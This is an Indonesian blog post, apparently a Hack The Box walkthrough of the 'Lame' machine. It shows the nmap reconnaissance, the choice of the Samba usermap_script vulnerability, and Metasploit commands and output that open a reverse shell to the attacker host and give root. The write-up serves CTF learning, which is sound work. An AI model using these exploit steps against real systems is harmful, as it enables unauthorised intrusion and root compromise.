Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Tuesday 25 July 2017

HTB Series : Lame

Peringatan : HTB Series merupakan artikel yang berisi clue, pastikan kalian sudah mencoba boxnya sendiri, artikel ini ditujukan untuk pemain yang sudah menyerah dan mencari solusi, jadi sekali lagi, pastikan kalian mencoba dulu sebelum membaca artikel ini, sebelum kalian menyesal.




Reconnnn

Langkah pertama yang dilakukan adalah mengumpulkan informasi target 10.10.10.3, dalam kasus ini saya menggunakan nmap untuk pencarian versi dari service yang berjalan:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-25 08:53 WIB
Nmap scan report for 10.10.10.3
Host is up (0.26s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.69 seconds

Dari hasil nmap didapatkan beberapa service yang aktif diantaranya ftp, ssh dan smb dengan sistem operasi linux. Dari hasil tersebut langkah selanjutnya mencari vulnerable service. Bisa menggunakan tools maupun mencari sendiri dengan bantuan google.

Explore lebih Vsftpd & Samba 

Dengan bantuan google, versi vsftpd dan samba yang berjalan pada server memiliki vuln command execution seperti informasi di bawah ini.

VSFTPD v2.3.4 Backdoor Command Execution 
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor


Samba "username map script" Command Execution 
This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

Kedua vuln tersebut sudah ada di dalam metasploit, jadi lebih mudah untuk melakukan exploit. Pada percobaan pertama, vsftpd tidak dapat diexploit menggunakan module msf yang ada.

Kemudian, pada vuln samba ternyata masih bisa diexploit menggunakan module msf usermap_script.

msf > use exploit/multi/samba/usermap_script 

msf exploit(usermap_script) > set rhost 10.10.10.3

rhost => 10.10.10.3

msf exploit(usermap_script) > exploit



[*] Started reverse TCP double handler on 10.10.15.188:4444 

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo k4oFBcnsKpoqESCs;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nk4oFBcnsKpoqESCs\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (10.10.15.188:4444 -> 10.10.10.3:44914) at 2017-07-25 09:06:18 +0700


whoami  

root

More....

Ternyata exploit samba yang digunakan sudah mendapatkan akses root sehingga langkah selanjutnya mencari hash user dan root untuk mendapatkan score.
5 λ .: July 2017 Peringatan : HTB Series merupakan artikel yang berisi clue, pastikan kalian sudah mencoba boxnya sendiri, artikel ini ditujukan untuk pema...
< >